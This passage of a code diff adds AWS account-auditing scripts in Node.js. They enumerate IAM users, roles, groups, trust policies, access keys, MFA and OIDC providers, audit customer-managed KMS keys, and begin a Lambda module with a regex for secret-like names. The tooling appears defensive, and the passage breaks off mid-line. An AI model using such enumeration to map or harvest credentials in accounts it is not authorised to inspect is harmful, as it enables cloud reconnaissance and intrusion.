'string') results.push(val); + else if (Array.isArray(val)) results.push(...val); + } + return results; + } + return []; +} + +function hasConditionKey(conditions, key) { + if (!conditions || typeof conditions !== 'object') return false; + for (const operator of Object.values(conditions)) { + if (operator && typeof operator === 'object' && key in operator) return true; + } + return false; +} + +function deriveRisk(trustEntry) { + if (trustEntry.trust_type === 'wildcard') return 'critical'; + if (trustEntry.trust_type === 'cross-account') { + if (trustEntry.has_external_id && trustEntry.has_mfa_condition) return 'low'; + if (trustEntry.has_external_id) return 'medium'; + return 'high'; + } + if (trustEntry.trust_type === 'federated') { + return trustEntry.has_mfa_condition ? 'low' : 'medium'; + } + if (trustEntry.trust_type === 'service') return 'low'; + if (trustEntry.trust_type === 'same-account') return 'low'; + return 'medium'; +} + +function parseTrustPolicy(trustPolicyDoc, accountId) { + let doc; + if (typeof trustPolicyDoc === 'string') { + try { + doc = JSON.parse(decodeURIComponent(trustPolicyDoc)); + } catch { + try { doc = JSON.parse(trustPolicyDoc); } catch { return []; } + } + } else { + doc = trustPolicyDoc; + } + + const statements = Array.isArray(doc.Statement) ? doc.Statement : []; + const trustRelationships = []; + + for (const stmt of statements) { + if (stmt.Effect !== 'Allow') continue; + const principals = normalizePrincipals(stmt.Principal); + const conditions = stmt.Condition || null; + const hasExternalId = hasConditionKey(conditions, 'sts:ExternalId'); + const hasMfa = hasConditionKey(conditions, 'aws:MultiFactorAuthPresent') || + hasConditionKey(conditions, 'aws:MultiFactorAuthAge'); + + for (const p of principals) { + const classified = classifyPrincipal(p, accountId); + const entry = { + ...classified, + has_external_id: hasExternalId, + has_mfa_condition: hasMfa, + }; + entry.risk = deriveRisk(entry); + trustRelationships.push(entry); + } + } + + return trustRelationships; +} + +// --- Staleness --- + +function computeStaleness(lastActivityDate) { + if (!lastActivityDate) return { last_activity: null, is_stale: true, stale_days: null }; + const days = Math.floor((Date.now() - new Date(lastActivityDate).getTime()) / (1000 * 60 * 60 * 24)); + return { last_activity: lastActivityDate, is_stale: days >= 90, stale_days: days }; +} + +// --- GAAD Path --- + +async function enumerateViaGAAD(client, accountId, logger) { + logger.log('api_call', 'GetAccountAuthorizationDetails', { path: 'gaad' }); + + const filters = ['User', 'Role', 'Group', 'LocalManagedPolicy']; + const allUsers = []; + const allRoles = []; + const allGroups = []; + const allPolicies = []; + let marker; + + do { + const params = { Filter: filters }; + if (marker) params.Marker = marker; + + const resp = await withRetry(() => client.send(new GetAccountAuthorizationDetailsCommand(params))); + + if (resp.UserDetailList) allUsers.push(...resp.UserDetailList); + if (resp.RoleDetailList) allRoles.push(...resp.RoleDetailList); + if (resp.GroupDetailList) allGroups.push(...resp.GroupDetailList); + if (resp.Policies) allPolicies.push(...resp.Policies); + + marker = resp.IsTruncated ? resp.Marker : undefined; + } while (marker); + + // Build set of all attached managed policy ARNs across users, roles, groups + // NOTE: AttachedManagedPolicies[] uses .PolicyArn; GAAD Policies[] uses .Arn — different fields + const principalAttachedArns = new Set(); + for (const u of allUsers) { + for (const p of u.AttachedManagedPolicies || []) principalAttachedArns.add(p.PolicyArn); + } + for (const r of allRoles) { + for (const p of r.AttachedManagedPolicies || []) principalAttachedArns.add(p.PolicyArn); + } + for (const g of allGroups) { + for (const p of g.AttachedManagedPolicies || []) principalAttachedArns.add(p.PolicyArn); + } + + // Fetch customer-managed policy documents (skip AWS-managed) + const customerManagedDocs = new Map(); + for (const policy of allPolicies) { + if (!principalAttachedArns.has(policy.Arn)) continue; + if ((policy.Arn || '').startsWith('arn:aws:iam::aws:policy/')) continue; + try { + logger.log('api_call', 'GetPolicyVersion', { arn: policy.Arn }); + const versionResp = await withRetry(() => + client.send(new GetPolicyVersionCommand({ + PolicyArn: policy.Arn, + VersionId: policy.DefaultVersionId, + })) + ); + const doc = versionResp.PolicyVersion?.Document; + if (doc) { + const parsed = typeof doc === 'string' ? JSON.parse(decodeURIComponent(doc)) : doc; + customerManagedDocs.set(policy.Arn, parsed); + } + } catch (err) { + logger.log('warning', 'GetPolicyVersion', { arn: policy.Arn, error: err.message }); + } + } + + // Build user findings + const userFindings = allUsers.map((u) => ({ + resource_type: 'iam_user', + resource_id: u.UserName, + arn: u.Arn, + region: 'global', + groups: (u.GroupList || []), + attached_policies: (u.AttachedManagedPolicies || []).map((p) => ({ + arn: p.PolicyArn, + document: customerManagedDocs.get(p.PolicyArn) || null, + })), + inline_policies: (u.UserPolicyList || []).map((p) => ({ + name: p.PolicyName, + document: decodePolicy(p.PolicyDocument), + })), + has_console_access: false, // enriched later + mfa_enabled: false, // enriched later + access_keys: [], // enriched later + password_last_used: null, // enriched later from credential report + has_boundary: !!u.PermissionsBoundary, + permission_boundary_arn: u.PermissionsBoundary?.PermissionsBoundaryArn || null, + last_activity: null, + is_stale: true, + stale_days: null, + findings: [], + })); + + // Build role findings + const roleFindings = allRoles.map((r) => { + const trustDoc = r.AssumeRolePolicyDocument; + const trustRelationships = parseTrustPolicy(trustDoc, accountId); + const isServiceLinked = (r.Path || '').startsWith('/aws-service-role/'); + + return { + resource_type: 'iam_role', + resource_id: r.RoleName, + arn: r.Arn, + region: 'global', + is_service_linked: isServiceLinked, + trust_relationships: trustRelationships, + attached_policies: (r.AttachedManagedPolicies || []).map((p) => ({ + arn: p.PolicyArn, + document: customerManagedDocs.get(p.PolicyArn) || null, + })), + inline_policies: (r.RolePolicyList || []).map((p) => ({ + name: p.PolicyName, + document: decodePolicy(p.PolicyDocument), + })), + has_boundary: !!r.PermissionsBoundary, + permission_boundary_arn: r.PermissionsBoundary?.PermissionsBoundaryArn || null, + last_activity: safeISOString(r.RoleLastUsed?.LastUsedDate), + is_stale: true, + stale_days: null, + service_last_accessed: null, + findings: [], + }; + }); + + // Compute role staleness from RoleLastUsed + for (const role of roleFindings) { + const staleness = computeStaleness(role.last_activity); + Object.assign(role, staleness); + } + + // Build group findings + const groupFindings = allGroups.map((g) => ({ + resource_type: 'iam_group', + resource_id: g.GroupName, + arn: g.Arn, + region: 'global', + members: [], // enriched via GetGroup later + attached_policies: (g.AttachedManagedPolicies || []).map((p) => ({ + arn: p.PolicyArn, + document: customerManagedDocs.get(p.PolicyArn) || null, + })), + inline_policies: (g.GroupPolicyList || []).map((p) => ({ + name: p.PolicyName, + document: decodePolicy(p.PolicyDocument), + })), + findings: [], + })); + + return { userFindings, roleFindings, groupFindings }; +} + +// --- Fallback Path --- + +async function enumerateViaFallback(client, accountId, logger) { + logger.log('info', 'GAAD_fallback', { reason: 'AccessDenied on GetAccountAuthorizationDetails' }); + + // List users + logger.log('api_call', 'ListUsers', { path: 'fallback' }); + const users = await paginate(client, ListUsersCommand, 'Users', { + tokenKey: 'Marker', + responseTokenKey: 'Marker', + }); + + // List roles + logger.log('api_call', 'ListRoles', { path: 'fallback' }); + const roles = await paginate(client, ListRolesCommand, 'Roles', { + tokenKey: 'Marker', + responseTokenKey: 'Marker', + }); + + // List groups + logger.log('api_call', 'ListGroups', { path: 'fallback' }); + const groups = await paginate(client, ListGroupsCommand, 'Groups', { + tokenKey: 'Marker', + responseTokenKey: 'Marker', + }); + + const errors = []; + + // Collect all attached policy ARNs for customer-managed doc fetch + const fallbackAttachedArns = new Map(); // ARN -> DefaultVersionId (populated as we go) + + // Build user findings with per-user details + const userFindings = []; + const userRawAttached = new Map(); // userName -> attachedPolicies array + for (const u of users) { + try { + const inlinePolicyNames = await paginate(client, ListUserPoliciesCommand, 'PolicyNames', { + params: { UserName: u.UserName }, + tokenKey: 'Marker', + responseTokenKey: 'Marker', + }); + + const attachedPolicies = await paginate(client, ListAttachedUserPoliciesCommand, 'AttachedPolicies', { + params: { UserName: u.UserName }, + tokenKey: 'Marker', + responseTokenKey: 'Marker', + }); + + const userGroups = await paginate(client, ListGroupsForUserCommand, 'Groups', { + params: { UserName: u.UserName }, + tokenKey: 'Marker', + responseTokenKey: 'Marker', + }); + + for (const p of attachedPolicies) { + if (!fallbackAttachedArns.has(p.PolicyArn)) fallbackAttachedArns.set(p.PolicyArn, null); + } + userRawAttached.set(u.UserName, attachedPolicies); + + userFindings.push({ + resource_type: 'iam_user', + resource_id: u.UserName, + arn: u.Arn, + region: 'global', + groups: userGroups.map((g) => g.GroupName), + attached_policies: attachedPolicies.map((p) => p.PolicyArn), // placeholder; replaced after doc fetch + inline_policies: await Promise.all(inlinePolicyNames.map(async (name) => { + try { + const resp = await withRetry(() => client.send(new GetUserPolicyCommand({ UserName: u.UserName, PolicyName: name }))); + return { name, document: decodePolicy(resp.PolicyDocument) }; + } catch { + return { name, document: null }; + } + })), + has_console_access: false, + mfa_enabled: false, + access_keys: [], + password_last_used: safeISOString(u.PasswordLastUsed), + has_boundary: !!u.PermissionsBoundary, + permission_boundary_arn: u.PermissionsBoundary?.PermissionsBoundaryArn || null, + last_activity: null, + is_stale: true, + stale_days: null, + findings: [], + }); + } catch (err) { + errors.push({ resource: u.UserName, error: err.message }); + logger.log('error', 'UserDetailFetch', { user: u.UserName, error: err.message }); + } + } + + // Build role findings with per-role details + const roleFindings = []; + const roleRawAttached = new Map(); // roleName -> attachedPolicies array + for (const r of roles) { + try { + logger.log('api_call', 'GetRole', { role: r.RoleName }); + const roleResp = await withRetry(() => client.send(new GetRoleCommand({ RoleName: r.RoleName }))); + const roleDetail = roleResp.Role; + + const inlinePolicyNames = await paginate(client, ListRolePoliciesCommand, 'PolicyNames', { + params: { RoleName: r.RoleName }, + tokenKey: 'Marker', + responseTokenKey: 'Marker', + }); + + const attachedPolicies = await paginate(client, ListAttachedRolePoliciesCommand, 'AttachedPolicies', { + params: { RoleName: r.RoleName }, + tokenKey: 'Marker', + responseTokenKey: 'Marker', + }); + + for (const p of attachedPolicies) { + if (!fallbackAttachedArns.has(p.PolicyArn)) fallbackAttachedArns.set(p.PolicyArn, null); + } + roleRawAttached.set(r.RoleName, attachedPolicies); + + const trustDoc = roleDetail.AssumeRolePolicyDocument; + const trustRelationships = parseTrustPolicy(trustDoc, accountId); + const isServiceLinked = (roleDetail.Path || '').startsWith('/aws-service-role/'); + const lastUsed = safeISOString(roleDetail.RoleLastUsed?.LastUsedDate); + const staleness = computeStaleness(lastUsed); + + roleFindings.push({ + resource_type: 'iam_role', + resource_id: r.RoleName, + arn: roleDetail.Arn, + region: 'global', + is_service_linked: isServiceLinked, + trust_relationships: trustRelationships, + attached_policies: attachedPolicies.map((p) => p.PolicyArn), // placeholder; replaced after doc fetch + inline_policies: await Promise.all(inlinePolicyNames.map(async (name) => { + try { + const resp = await withRetry(() => client.send(new GetRolePolicyCommand({ RoleName: r.RoleName, PolicyName: name }))); + return { name, document: decodePolicy(resp.PolicyDocument) }; + } catch { + return { name, document: null }; + } + })), + has_boundary: !!roleDetail.PermissionsBoundary, + permission_boundary_arn: roleDetail.PermissionsBoundary?.PermissionsBoundaryArn || null, + ...staleness, + service_last_accessed: null, + findings: [], + }); + } catch (err) { + errors.push({ resource: r.RoleName, error: err.message }); + logger.log('error', 'RoleDetailFetch', { role: r.RoleName, error: err.message }); + } + } + + // Build group findings + const groupFindings = []; + const groupRawAttached = new Map(); // groupName -> attachedPolicies array + for (const g of groups) { + try { + logger.log('api_call', 'GetGroup', { group: g.GroupName }); + const groupResp = await withRetry(() => client.send(new GetGroupCommand({ GroupName: g.GroupName }))); + + const attachedPolicies = await paginate(client, ListAttachedGroupPoliciesCommand, 'AttachedPolicies', { + params: { GroupName: g.GroupName }, + tokenKey: 'Marker', + responseTokenKey: 'Marker', + }); + + const inlinePolicyNames = await paginate(client, ListGroupPoliciesCommand, 'PolicyNames', { + params: { GroupName: g.GroupName }, + tokenKey: 'Marker', + responseTokenKey: 'Marker', + }); + + for (const p of attachedPolicies) { + if (!fallbackAttachedArns.has(p.PolicyArn)) fallbackAttachedArns.set(p.PolicyArn, null); + } + groupRawAttached.set(g.GroupName, attachedPolicies); + + groupFindings.push({ + resource_type: 'iam_group', + resource_id: g.GroupName, + arn: g.Arn, + region: 'global', + members: (groupResp.Users || []).map((u) => u.UserName), + attached_policies: attachedPolicies.map((p) => p.PolicyArn), // placeholder; replaced after doc fetch + inline_policies: await Promise.all(inlinePolicyNames.map(async (name) => { + try { + const resp = await withRetry(() => client.send(new GetGroupPolicyCommand({ GroupName: g.GroupName, PolicyName: name }))); + return { name, document: decodePolicy(resp.PolicyDocument) }; + } catch { + return { name, document: null }; + } + })), + findings: [], + }); + } catch (err) { + errors.push({ resource: g.GroupName, error: err.message }); + logger.log('error', 'GroupDetailFetch', { group: g.GroupName, error: err.message }); + } + } + + // Fetch customer-managed policy documents for all collected attached ARNs + const fallbackCustomerDocs = new Map(); + for (const [policyArn] of fallbackAttachedArns) { + if ((policyArn || '').startsWith('arn:aws:iam::aws:policy/')) continue; + try { + // Need DefaultVersionId — fetch policy metadata + logger.log('api_call', 'GetPolicy', { arn: policyArn }); + const policyResp = await withRetry(() => + client.send(new GetPolicyCommand({ PolicyArn: policyArn })) + ); + const defaultVersionId = policyResp.Policy?.DefaultVersionId; + if (!defaultVersionId) continue; + + logger.log('api_call', 'GetPolicyVersion', { arn: policyArn }); + const versionResp = await withRetry(() => + client.send(new GetPolicyVersionCommand({ PolicyArn: policyArn, VersionId: defaultVersionId })) + ); + const doc = versionResp.PolicyVersion?.Document; + if (doc) { + const parsed = typeof doc === 'string' ? JSON.parse(decodeURIComponent(doc)) : doc; + fallbackCustomerDocs.set(policyArn, parsed); + } + } catch (err) { + logger.log('warning', 'GetPolicyVersion', { arn: policyArn, error: err.message }); + } + } + + // Replace placeholder attached_policies arrays with object format + for (const user of userFindings) { + const raw = userRawAttached.get(user.resource_id) || []; + user.attached_policies = raw.map((p) => ({ + arn: p.PolicyArn, + document: fallbackCustomerDocs.get(p.PolicyArn) || null, + })); + } + for (const role of roleFindings) { + const raw = roleRawAttached.get(role.resource_id) || []; + role.attached_policies = raw.map((p) => ({ + arn: p.PolicyArn, + document: fallbackCustomerDocs.get(p.PolicyArn) || null, + })); + } + for (const group of groupFindings) { + const raw = groupRawAttached.get(group.resource_id) || []; + group.attached_policies = raw.map((p) => ({ + arn: p.PolicyArn, + document: fallbackCustomerDocs.get(p.PolicyArn) || null, + })); + } + + return { userFindings, roleFindings, groupFindings, errors }; +} + +// --- Staleness Enrichment --- + +async function enrichStaleness(client, userFindings, roleFindings, logger) { + const errors = []; + + // 1. Credential report (bulk) + let credentialReportMap = null; + try { + logger.log('api_call', 'GenerateCredentialReport', {}); + let reportReady = false; + for (let attempt = 0; attempt < 10; attempt++) { + const genResp = await withRetry(() => client.send(new GenerateCredentialReportCommand({}))); + if (genResp.State === 'COMPLETE') { + reportReady = true; + break; + } + await new Promise((r) => setTimeout(r, 2000)); + } + + if (reportReady) { + logger.log('api_call', 'GetCredentialReport', {}); + const reportResp = await withRetry(() => client.send(new GetCredentialReportCommand({}))); + const csvContent = Buffer.from(reportResp.Content).toString('utf8'); + credentialReportMap = parseCredentialReport(csvContent); + } else { + logger.log('warning', 'CredentialReportTimeout', { message: 'Report not ready after polling' }); + } + } catch (err) { + errors.push({ resource: 'credential_report', error: err.message }); + logger.log('warning', 'CredentialReportFailed', { error: err.message }); + } + + // 2. Per-user enrichment: access keys, MFA, login profile, staleness + for (const user of userFindings) { + try { + // Access keys + logger.log('api_call', 'ListAccessKeys', { user: user.resource_id }); + const keys = await paginate(client, ListAccessKeysCommand, 'AccessKeyMetadata', { + params: { UserName: user.resource_id }, + tokenKey: 'Marker', + responseTokenKey: 'Marker', + }); + + const accessKeys = []; + for (const key of keys) { + try { + const lastUsedResp = await withRetry(() => + client.send(new GetAccessKeyLastUsedCommand({ AccessKeyId: key.AccessKeyId })) + ); + const lastUsed = safeISOString(lastUsedResp.AccessKeyLastUsed?.LastUsedDate); + accessKeys.push({ + key_id: key.AccessKeyId, + status: key.Status, + last_used: lastUsed, + }); + } catch (err) { + accessKeys.push({ key_id: key.AccessKeyId, status: key.Status, last_used: null }); + logger.log('warning', 'GetAccessKeyLastUsed', { key: key.AccessKeyId, error: err.message }); + } + } + user.access_keys = accessKeys; + + // MFA devices + try { + logger.log('api_call', 'ListMFADevices', { user: user.resource_id }); + const mfaDevices = await paginate(client, ListMFADevicesCommand, 'MFADevices', { + params: { UserName: user.resource_id }, + tokenKey: 'Marker', + responseTokenKey: 'Marker', + }); + user.mfa_enabled = mfaDevices.length > 0; + } catch (err) { + logger.log('warning', 'ListMFADevices', { user: user.resource_id, error: err.message }); + } + + // Login profile (console access) + try { + await withRetry(() => client.send(new GetLoginProfileCommand({ UserName: user.resource_id }))); + user.has_console_access = true; + } catch (err) { + if (err.name === 'NoSuchEntityException' || err.name === 'NoSuchEntity') { + user.has_console_access = false; + } else { + logger.log('warning', 'GetLoginProfile', { user: user.resource_id, error: err.message }); + } + } + + // Merge credential report data + if (credentialReportMap && credentialReportMap.has(user.resource_id)) { + const cred = credentialReportMap.get(user.resource_id); + if (cred.password_last_used && cred.password_last_used !== 'N/A' && cred.password_last_used !== 'no_information') { + user.password_last_used = cred.password_last_used; + } + if (cred.mfa_active === 'true') { + user.mfa_enabled = true; + } + } + + // Compute user staleness: max of password_last_used and any key last_used + const activityDates = []; + if (user.password_last_used) activityDates.push(user.password_last_used); + for (const k of user.access_keys) { + if (k.last_used) activityDates.push(k.last_used); + } + const latestActivity = activityDates.length > 0 + ? activityDates.sort().reverse()[0] + : null; + const staleness = computeStaleness(latestActivity); + Object.assign(user, staleness); + + } catch (err) { + errors.push({ resource: user.resource_id, error: err.message }); + logger.log('error', 'UserStalenessEnrichment', { user: user.resource_id, error: err.message }); + } + } + + // 3. ServiceLastAccessed for stale principals only + const stalePrincipals = [ + ...userFindings.filter((u) => u.is_stale).map((u) => ({ type: 'user', arn: u.arn, finding: u })), + ...roleFindings.filter((r) => r.is_stale).map((r) => ({ type: 'role', arn: r.arn, finding: r })), + ]; + + for (const { type, arn, finding } of stalePrincipals) { + try { + logger.log('api_call', 'GenerateServiceLastAccessedDetails', { arn }); + const genResp = await withRetry(() => + client.send(new GenerateServiceLastAccessedDetailsCommand({ Arn: arn })) + ); + const jobId = genResp.JobId; + + // Poll for completion + let serviceData = null; + for (let attempt = 0; attempt < 15; attempt++) { + const statusResp = await withRetry(() => + client.send(new GetServiceLastAccessedDetailsCommand({ JobId: jobId })) + ); + if (statusResp.JobStatus === 'COMPLETED') { + serviceData = (statusResp.ServicesLastAccessed || []).map((s) => ({ + service_name: s.ServiceName, + service_namespace: s.ServiceNamespace, + last_authenticated: safeISOString(s.LastAuthenticated), + total_entities: s.TotalAuthenticatedEntities || 0, + })); + break; + } + if (statusResp.JobStatus === 'FAILED') { + logger.log('warning', 'ServiceLastAccessedFailed', { arn, status: 'FAILED' }); + break; + } + await new Promise((r) => setTimeout(r, 1000)); + } + + finding.service_last_accessed = serviceData; + } catch (err) { + finding.service_last_accessed = null; + errors.push({ resource: arn, error: err.message }); + logger.log('warning', 'ServiceLastAccessed', { arn, error: err.message }); + } + } + + return errors; +} + +// --- Credential Report Parser --- + +function parseCredentialReport(csv) { + const lines = csv.trim().split('\n'); + if (lines.length < 2) return new Map(); + + const headers = lines[0].split(','); + const userIdx = headers.indexOf('user'); + const pwdLastUsedIdx = headers.indexOf('password_last_used'); + const mfaIdx = headers.indexOf('mfa_active'); + const key1LastUsedIdx = headers.indexOf('access_key_1_last_used_date'); + const key2LastUsedIdx = headers.indexOf('access_key_2_last_used_date'); + + const map = new Map(); + for (let i = 1; i < lines.length; i++) { + const cols = lines[i].split(','); + const userName = cols[userIdx]; + if (!userName || userName === '') continue; + + map.set(userName, { + password_last_used: normalizeDate(cols[pwdLastUsedIdx]), + mfa_active: cols[mfaIdx] || 'false', + access_key_1_last_used: normalizeDate(cols[key1LastUsedIdx]), + access_key_2_last_used: normalizeDate(cols[key2LastUsedIdx]), + }); + } + return map; +} + +function normalizeDate(val) { + if (!val || val === 'N/A' || val === 'no_information' || val === 'not_supported') return null; + return val; +} + +// --- Group member enrichment --- + +async function enrichGroupMembers(client, groupFindings, logger) { + for (const group of groupFindings) { + try { + logger.log('api_call', 'GetGroup', { group: group.resource_id }); + const resp = await withRetry(() => client.send(new GetGroupCommand({ GroupName: group.resource_id }))); + group.members = (resp.Users || []).map((u) => u.UserName); + } catch (err) { + logger.log('warning', 'GetGroupMembers', { group: group.resource_id, error: err.message }); + } + } +} + +// --- OIDC Provider Enumeration --- + +async function enumerateOIDCProviders(client, roleFindings, logger) { + logger.log('api_call', 'ListOpenIDConnectProviders', {}); + const listResp = await withRetry(() => client.send(new ListOpenIDConnectProvidersCommand({}))); + const providerList = listResp.OpenIDConnectProviderList || []; + + // Build map of OIDC provider ARN -> roles that trust it + const oidcRoleMap = {}; + for (const role of roleFindings) { + for (const trust of (role.trust_relationships || [])) { + if (trust.trust_type === 'federated' && trust.principal) { + const principalArn = trust.principal; + if (!oidcRoleMap[principalArn]) oidcRoleMap[principalArn] = []; + oidcRoleMap[principalArn].push({ arn: role.arn, conditions: trust }); + } + } + } + + const oidcFindings = []; + for (const providerRef of providerList) { + const providerArn = providerRef.Arn; + try { + logger.log('api_call', 'GetOpenIDConnectProvider', { arn: providerArn }); + const detail = await withRetry(() => + client.send(new GetOpenIDConnectProviderCommand({ OpenIDConnectProviderArn: providerArn })) + ); + + const assumedRoles = oidcRoleMap[providerArn] || []; + + oidcFindings.push({ + resource_type: 'oidc_provider', + resource_id: providerArn, + arn: providerArn, + region: 'global', + url: detail.Url, + client_ids: detail.ClientIDList || [], + thumbprints: detail.ThumbprintList || [], + create_date: detail.CreateDate ? new Date(detail.CreateDate).toISOString() : null, + assumed_role_arns: assumedRoles.map((r) => r.arn), + trust_conditions: assumedRoles.map((r) => r.conditions), + findings: [], + }); + } catch (err) { + logger.log('warning', 'GetOpenIDConnectProvider', { arn: providerArn, error: err.message }); + } + } + + return oidcFindings; +} + +// --- Run (DI-injectable) --- + +async function run(opts = {}) { + const { runDir, accountId } = opts; + const client = opts.clients && opts.clients.iam ? opts.clients.iam : new IAMClient({}); + + const logger = opts.logger || createLogger(runDir, 'iam'); + logger.log('info', 'IAM_Enumeration_Start', { accountId }); + + let userFindings = []; + let roleFindings = []; + let groupFindings = []; + let status = 'complete'; + let partialErrors = []; + + // Attempt GAAD path first + try { + const gaadResult = await enumerateViaGAAD(client, accountId, logger); + userFindings = gaadResult.userFindings; + roleFindings = gaadResult.roleFindings; + groupFindings = gaadResult.groupFindings; + + // GAAD groups don't include members — enrich + await enrichGroupMembers(client, groupFindings, logger); + } catch (err) { + const code = err.name || err.Code || ''; + if (code === 'AccessDeniedException' || code === 'AccessDenied' || code === 'UnauthorizedAccess') { + // Fallback to per-resource enumeration + try { + const fallbackResult = await enumerateViaFallback(client, accountId, logger); + userFindings = fallbackResult.userFindings; + roleFindings = fallbackResult.roleFindings; + groupFindings = fallbackResult.groupFindings; + if (fallbackResult.errors && fallbackResult.errors.length > 0) { + partialErrors.push(...fallbackResult.errors); + status = 'partial'; + } + } catch (fallbackErr) { + logger.log('error', 'FallbackFailed', { error: fallbackErr.message }); + await logger.flush(); + return { findings: [], status: 'error' }; + } + } else { + // Unexpected error + logger.log('error', 'GAAD_UnexpectedError', { error: err.message }); + await logger.flush(); + return { findings: [], status: 'error' }; + } + } + + // Enrich staleness + try { + const stalenessErrors = await enrichStaleness(client, userFindings, roleFindings, logger); + if (stalenessErrors.length > 0) { + partialErrors.push(...stalenessErrors); + if (status === 'complete') status = 'partial'; + } + } catch (err) { + logger.log('warning', 'StalenessEnrichmentFailed', { error: err.message }); + if (status === 'complete') status = 'partial'; + } + + // Enumerate OIDC providers and cross-reference with role trust relationships + let oidcFindings = []; + try { + oidcFindings = await enumerateOIDCProviders(client, roleFindings, logger); + } catch (err) { + logger.log('warning', 'OIDCProviders', { error: err.message }); + if (status === 'complete') status = 'partial'; + } + + // Set final status + if (partialErrors.length > 0 && status === 'complete') { + status = 'partial'; + } + + const findings = [...userFindings, ...roleFindings, ...groupFindings, ...oidcFindings]; + + logger.log('info', 'IAM_Enumeration_Complete', { + status, + users: userFindings.length, + roles: roleFindings.length, + groups: groupFindings.length, + oidc: oidcFindings.length, + errors: partialErrors.length, + }); + + await logger.flush(); + return { findings, status }; +} + +if (require.main === module) { + baseEnum({ module: 'iam', run, global: true }); +} +module.exports = { run }; diff --git a/scripts/enum/kms.js b/scripts/enum/kms.js new file mode 100644 index 0000000..e43b570 --- /dev/null +++ b/scripts/enum/kms.js @@ -0,0 +1,181 @@ +'use strict'; + +const { + KMSClient, + ListKeysCommand, + DescribeKeyCommand, + GetKeyPolicyCommand, + ListGrantsCommand, + GetKeyRotationStatusCommand, +} = require('@aws-sdk/client-kms'); + +const { withRetry, paginate, createLogger } = require('../lib'); +const { baseEnum } = require('../lib/base-enum'); +const { extractPolicyPrincipals } = require('../lib/policy-parser'); + +// --- Helpers --- + +function generateFindings(key) { + const findings = []; + + if (!key.rotation_enabled) { + findings.push({ + type: 'no_rotation', + severity: 'medium', + detail: 'Key rotation is not enabled', + }); + } + + if (key.key_state === 'PendingDeletion') { + findings.push({ + type: 'pending_deletion', + severity: 'low', + detail: 'Key is pending deletion', + }); + } + + // Wildcard principal in policy + if (key.policy_principals && key.policy_principals.includes('*')) { + findings.push({ + type: 'wildcard_principal', + severity: 'high', + detail: 'Key policy allows wildcard principal', + }); + } + + // Grants to external accounts + if (key.grants && key.grants.length > 0) { + findings.push({ + type: 'has_grants', + severity: 'low', + detail: `Key has ${key.grants.length} grant(s)`, + }); + } + + return findings; +} + +// --- Run (dependency-injectable) --- + +async function run(opts = {}) { + const runDir = opts.runDir; + const region = opts.region; + const accountId = opts.accountId; + + const client = opts.clients?.kms ?? new KMSClient({ region }); + + const logger = opts.logger || createLogger(runDir, 'kms'); + logger.log('info', 'KMS_Enumeration_Start', { region }); + + const findings = []; + let status = 'complete'; + const errors = []; + + // ListKeys (paginated) + let allKeys; + try { + logger.log('api_call', 'ListKeys', { service: 'kms' }); + allKeys = await paginate(client, ListKeysCommand, 'Keys', {}); + } catch (err) { + logger.log('error', 'ListKeys', { error: err.message }); + await logger.flush(); + throw new Error(`ListKeys failed: ${err.message}`); + } + + // Per-key: DescribeKey, filter to customer-managed + for (const keyEntry of allKeys) { + const keyId = keyEntry.KeyId; + + let keyMetadata; + try { + logger.log('api_call', 'DescribeKey', { key_id: keyId }); + const descResp = await withRetry(() => + client.send(new DescribeKeyCommand({ KeyId: keyId })) + ); + keyMetadata = descResp.KeyMetadata; + } catch (err) { + errors.push({ resource: keyId, error: err.message }); + logger.log('warning', 'DescribeKey', { key_id: keyId, error: err.message }); + continue; + } + + // Skip AWS-managed keys + if (keyMetadata.KeyManager !== 'CUSTOMER') continue; + + const keyFinding = { + resource_type: 'kms_key', + resource_id: keyId, + arn: keyMetadata.Arn, + region, + key_state: keyMetadata.KeyState, + usage: keyMetadata.KeyUsage, + origin: keyMetadata.Origin, + description: keyMetadata.Description || '', + rotation_enabled: false, + policy_principals: [], + grants: [], + findings: [], + }; + + // GetKeyPolicy + try { + logger.log('api_call', 'GetKeyPolicy', { key_id: keyId }); + const policyResp = await withRetry(() => + client.send(new GetKeyPolicyCommand({ KeyId: keyId, PolicyName: 'default' })) + ); + keyFinding.policy_principals = extractPolicyPrincipals(policyResp.Policy); + } catch (err) { + errors.push({ resource: keyId, error: `GetKeyPolicy: ${err.message}` }); + logger.log('warning', 'GetKeyPolicy', { key_id: keyId, error: err.message }); + } + + // ListGrants + try { + logger.log('api_call', 'ListGrants', { key_id: keyId }); + const grants = await paginate(client, ListGrantsCommand, 'Grants', { + params: { KeyId: keyId }, + }); + keyFinding.grants = grants.map((g) => ({ + grant_id: g.GrantId, + grantee_principal: g.GranteePrincipal, + operations: g.Operations || [], + retiring_principal: g.RetiringPrincipal || null, + })); + } catch (err) { + errors.push({ resource: keyId, error: `ListGrants: ${err.message}` }); + logger.log('warning', 'ListGrants', { key_id: keyId, error: err.message }); + } + + // GetKeyRotationStatus + try { + logger.log('api_call', 'GetKeyRotationStatus', { key_id: keyId }); + const rotResp = await withRetry(() => + client.send(new GetKeyRotationStatusCommand({ KeyId: keyId })) + ); + keyFinding.rotation_enabled = rotResp.KeyRotationEnabled || false; + } catch (err) { + // Some key types don't support rotation status + const code = err.name || err.Code || ''; + if (code === 'UnsupportedOperationException') { + keyFinding.rotation_enabled = null; + } else { + errors.push({ resource: keyId, error: `GetKeyRotationStatus: ${err.message}` }); + logger.log('warning', 'GetKeyRotationStatus', { key_id: keyId, error: err.message }); + } + } + + keyFinding.findings = generateFindings(keyFinding); + findings.push(keyFinding); + } + + if (errors.length > 0) status = 'partial'; + + await logger.flush(); + return { findings, status }; +} + +if (require.main === module) { + baseEnum({ module: 'kms', run }); +} + +module.exports = { run }; diff --git a/scripts/enum/lambda.js b/scripts/enum/lambda.js new file mode 100644 index 0000000..94d6bc9 --- /dev/null +++ b/scripts/enum/lambda.js @@ -0,0 +1,164 @@ +'use strict'; + +const { + LambdaClient, + ListFunctionsCommand, + GetFunctionUrlConfigCommand, + GetPolicyCommand, +} = require('@aws-sdk/client-lambda'); + +const { withRetry, paginate, createLogger } = require('../lib'); +const { baseEnum } = require('../lib/base-enum'); +const { extractPolicyPrincipals } = require('../lib/policy-parser'); + +// --- Constants --- + +const SECRET_PATTERNS = /password|secret|token|key|credential|api.?key|auth/i; + +// --- Helpers --- + +/** + * Safely calls an API that may throw ResourceNotFoundException. + * Returns null when the resource doesn't exist (expected, not an error). + */ +async function safeGetResource(fn) { + try { + return await withRetry(fn); + } catch (err) { + const code = err.name || err.Code || ''; + if (code === 'ResourceNotFoundException') { + return null; + } + throw err; + } +} + +// --- Run (dependency-injectable) --- + +async function run(opts = {}) { + const runDir = opts.runDir; + const region = opts.region; + const accountId = opts.accountId; + + const lambda = opts.clients?.lambda 